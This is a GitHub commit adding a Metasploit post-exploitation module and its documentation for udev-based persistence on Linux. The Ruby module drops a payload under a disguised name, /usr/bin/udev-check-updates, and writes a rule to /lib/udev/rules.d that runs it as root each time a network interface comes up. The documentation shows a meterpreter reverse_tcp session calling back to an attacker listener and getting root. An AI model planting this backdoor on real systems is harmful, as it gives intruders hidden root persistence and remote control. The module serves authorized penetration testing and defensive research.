Skip to content

Commit

Permalink
Add modules/exploits/linux/local/udev_persistence.rb
Browse files Browse the repository at this point in the history
Co-authored-by: jheysel-r7 <[email protected]>
  • Loading branch information
jvoisin and jheysel-r7 committed Oct 10, 2024
1 parent 00b1d8f commit b2ad59d
Show file tree
Hide file tree
Showing 2 changed files with 112 additions and 0 deletions.
43 changes: 43 additions & 0 deletions documentation/modules/exploit/linux/local/udev_persistence.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.

## Verification Steps

1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/local/udev_persistence`
4. `set session -1`
5. `exploit`

## Module usage

```
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/udev_persistence) > set session -1
session => -1
msf6 exploit(linux/local/udev_persistence) > exploit
[*] /usr/bin/udev-check-updates written
[*] /lib/udev/rules.d/99-update.rules written
msf6 exploit(linux/local/udev_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```

## Options

### BACKDOOR_PATH

Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)

### PAYLOAD_PATH

Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)

69 changes: 69 additions & 0 deletions modules/exploits/linux/local/udev_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
]
)
)
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
end

def exploit
unless executable? '/usr/bin/at'
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
end

unless writable? File.dirname(datastore['BACKDOOR_PATH'])
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
end
if exists? datastore['BACKDOOR_PATH']
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
end

unless writable? File.dirname(datastore['PAYLOAD_PATH'])
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
end
if exists? datastore['PAYLOAD_PATH']
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
end

upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
print_status "#{datastore['PAYLOAD_PATH']} written"

write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
print_status "#{datastore['BACKDOOR_PATH']} written"
end
end

0 comments on commit b2ad59d

Please sign in to comment.